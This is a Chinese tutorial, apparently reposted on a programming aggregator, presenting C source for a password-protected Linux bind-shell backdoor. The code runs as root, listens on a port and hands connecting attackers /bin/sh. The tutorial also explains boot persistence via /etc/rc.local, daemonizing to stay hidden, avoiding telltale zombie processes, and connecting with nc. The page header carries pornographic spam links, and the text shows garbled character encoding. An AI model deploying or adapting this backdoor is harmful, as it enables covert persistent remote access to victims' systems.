日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

一个简单的Linux后门程序的实现

發(fā)布時(shí)間:2024/4/24 综合教程 50 生活家
生活随笔 收集整理的這篇文章主要介紹了 一个简单的Linux后门程序的实现 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

該程序?qū)嵸|(zhì)是一個(gè)簡單的socket編程,在受害方上運(yùn)行攻擊代碼(后門進(jìn)程),通過socket打開一個(gè)預(yù)設(shè)端口,并監(jiān)聽,等待攻擊方的鏈接。一旦攻擊方通過網(wǎng)絡(luò)鏈接工具試圖鏈接該socket,那么后門進(jìn)程立刻fork一個(gè)子進(jìn)程來處理鏈接請求。處理請求的行為即用exec函數(shù)打開一個(gè)shell來代替本子進(jìn)程,并將本進(jìn)程的標(biāo)準(zhǔn)輸入、輸出、出錯(cuò)文件描述符重定向到該套接字上,這樣就實(shí)現(xiàn)了攻擊方遠(yuǎn)程得到了受害方的一個(gè)shell。

int main(int argc, char **argv)
{
    int i, listenfd, connfd;        /*listenfd為主進(jìn)程監(jiān)聽的套接字,connfd為TCP連接后的套接字*/
    pid_t pid;
    char buf[MAXLINE];
    socklen_t clilen;
    struct sockaddr_in s_addr;
    struct sockaddr_in c_addr;
 
    setuid(0);                     /*為了保險(xiǎn),我們將通過setuid函數(shù)使得程序以擁有者身份的權(quán)限運(yùn)行*/
    setgid(0);
    seteuid(0);
    setegid(0);

//    daemon(0,0);                    /*通過daemon函數(shù)可以把本程序從終端設(shè)備下脫離出來變成守護(hù)進(jìn)程,如果系統(tǒng)啟動時(shí)加載本程序就無需這個(gè)函數(shù)*/

    listenfd = socket(AF_INET,SOCK_STREAM,0);                 /*創(chuàng)建套接字*/
    if (listenfd == -1){
        printf("socket failed!");
        exit(1);
    }
    bzero(&s_addr,sizeof(s_addr));
    s_addr.sin_family=AF_INET;
    s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    s_addr.sin_port=htons(PORT);
    if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
        printf("bind failed!
");
        exit(1);
    }
    if (listen(listenfd, 20)==-1){                            /*監(jiān)聽套接字*/
        printf("listen failed!");
        exit(1);
    }
    clilen = sizeof(c_addr);

    while(1){
        connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻擊者發(fā)起鏈接*/
        pid = fork();                                      /*創(chuàng)建子進(jìn)程*/
        if(!pid)
        {
            if((pid = fork()) > 0)                         /*創(chuàng)建孫進(jìn)程*/
            {
                exit(0);                          /*子進(jìn)程終結(jié)*/
            }else if(!pid){                       /*孫進(jìn)程處理鏈接請求*/
                close(listenfd);                  /*關(guān)閉除要處理的套接字外的所有描述符*/
                write(connfd, ENTERPASS, strlen(ENTERPASS));
                memset(buf,'', MAXLINE);
                read(connfd, buf, MAXLINE);
                if (strncmp(buf,PASSWORD,5) !=0){
                    close(connfd);
                    exit(0);
                }else{
                    write(connfd, WELCOME, strlen(WELCOME));
                    dup2(connfd,0);               /*將標(biāo)準(zhǔn)輸入、輸出、出錯(cuò)重定向到我們的套接字上*/
                    dup2(connfd,1);               /*實(shí)質(zhì)是套接字的復(fù)制*/
                    dup2(connfd,2);
                    execl("/bin/sh", "mysh", (char *) 0);      /*打開一個(gè)shell代替本進(jìn)程*/
                }
            }
        }
        close(connfd);
        if (waitpid(pid, NULL, 0) != pid)                     /*父進(jìn)程等待回收子進(jìn)程*/
            printf("waitpid error");
    }
}

有幾點(diǎn)細(xì)節(jié)需要注意

首先攻擊程序通過啟動腳本在開機(jī)后就在后臺作為守護(hù)進(jìn)程運(yùn)行,守護(hù)進(jìn)程的子進(jìn)程依然是守護(hù)進(jìn)程,使得本進(jìn)程不容易被發(fā)現(xiàn)。

將一個(gè)程序在開機(jī)后作為守護(hù)進(jìn)程執(zhí)行的方法很簡單,只需在啟動腳本中增加對應(yīng)可執(zhí)行文件的路徑和文件名即可。首先將自己的程序編譯通過生成可執(zhí)行文件,將可執(zhí)行文件放到某一個(gè)目錄下(如/usr/bin/),然后在啟動腳本中增加一行:

$vi /etc/rc.local
/usr/bin/filename

當(dāng)然從一個(gè)shell進(jìn)程打開的進(jìn)程可以通過Linux下提供的daemon函數(shù)實(shí)現(xiàn),其實(shí)質(zhì)是fork和setsid的組合。daemon的實(shí)現(xiàn)大致如下:

int daemon( int nochdir,  int noclose )
{
   pid_t pid;
   if ( !nochdir && chdir("/") != 0 ) //如果nochdir=0,那么改變到"/"根目錄
       return -1;
   
   if ( !noclose ) //如果沒有noclose標(biāo)志
   {
        int fd = open("/dev/null", O_RDWR); 
        if ( fd  <  0 )
            return -1;

       /* 重定向標(biāo)準(zhǔn)輸入、輸出、錯(cuò)誤 到/dev/null,
          鍵盤的輸入將對進(jìn)程無任何影響,進(jìn)程的輸出也不會輸出到終端
       */
    dup(fd, 0);
    dup(fd, 1);
    dup(fd, 2);     
    close(fd);
}

   pid = fork();  //創(chuàng)建子進(jìn)程.
   if (pid  <  0)  //失敗
      return -1;
   if (pid > 0)
       _exit(0); //返回執(zhí)行的是父進(jìn)程,那么父進(jìn)程退出,讓子進(jìn)程變成真正的孤兒進(jìn)程.

//創(chuàng)建的 daemon子進(jìn)程執(zhí)行到這里了
   if ( setsid()  < 0 )   //創(chuàng)建新的會話,并使得子進(jìn)程成為新會話的領(lǐng)頭進(jìn)程
      return -1;
   return 0;  //成功創(chuàng)建daemon子進(jìn)程
}

首先調(diào)用fork,然后終止父進(jìn)程。如果本進(jìn)程是從前臺作為一個(gè)shell命令啟動的,當(dāng)父進(jìn)程終止時(shí),shell就認(rèn)為該命令已執(zhí)行完畢。這樣子進(jìn)程就自動在后臺運(yùn)行。另外,子進(jìn)程繼承了父進(jìn)程的進(jìn)程組ID,不過它有自己的進(jìn)程ID。這就保證子進(jìn)程不是一個(gè)進(jìn)程組的頭進(jìn)程,這是接下去調(diào)用setsid的必要條件。setsid用于創(chuàng)建一個(gè)新的會話(session),當(dāng)前進(jìn)程變?yōu)樾聲挼臅掝^進(jìn)程以及新進(jìn)程的進(jìn)程組頭進(jìn)程,從而不再有控制終端。

daemon函數(shù)給出的步驟到此為止,然而當(dāng)一個(gè)會話頭進(jìn)程打開一個(gè)終端設(shè)備時(shí),該終端自動成為這個(gè)會話頭進(jìn)程的控制終端。史蒂芬告訴我們,在setsid之后我們需要再次fork,再次fork的目的是確保本守護(hù)進(jìn)程不是一個(gè)會話頭進(jìn)程,將來即使打開一個(gè)控制終端,也不會自動獲得控制終端。

其次是關(guān)于產(chǎn)生僵尸進(jìn)程的問題,程序原本的想法是主進(jìn)程始終監(jiān)聽,當(dāng)有連接則fork一個(gè)子進(jìn)程進(jìn)行處理,鑒于主進(jìn)程要并發(fā)處理多個(gè)連接,故不能在fork之后調(diào)用wait或waitpid來回收子進(jìn)程,這就出現(xiàn)了問題,那就是子進(jìn)程結(jié)束之后父進(jìn)程沒有回收它,使得產(chǎn)生僵尸進(jìn)程,當(dāng)然如果在子進(jìn)程中如果調(diào)用exec成功后用shell代替當(dāng)前子進(jìn)程就沒有這個(gè)問題,但是如果在調(diào)用exec前發(fā)生錯(cuò)誤,比如密碼輸入錯(cuò)誤,此時(shí)子進(jìn)程死掉之后沒有進(jìn)程為它回收狀態(tài)信息,這時(shí)候就會產(chǎn)生僵尸進(jìn)程,從攻擊者看來顯得容易暴露身份。解決的辦法有若干個(gè),其中一種簡單是方法就是,主進(jìn)程在fork后調(diào)用wait或waitpid,在子進(jìn)程中再次調(diào)用fork,產(chǎn)生孫進(jìn)程,而子進(jìn)程馬上終結(jié),這時(shí)候父進(jìn)程回收子進(jìn)程。而孫進(jìn)程由于死了子進(jìn)程,而有init進(jìn)程接管,由init進(jìn)程對孫進(jìn)程進(jìn)行回收。當(dāng)然,處理僵尸進(jìn)程的方法不止一種,詳細(xì)請參見http://www.cnblogs.com/big-xuyue/p/3590680.html 以及http://www.cnblogs.com/Anker/p/3271773.html

最后我們可以通過nc工具進(jìn)程測試:

$nc -vv localhost 5669

總結(jié)

以上是生活随笔為你收集整理的一个简单的Linux后门程序的实现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。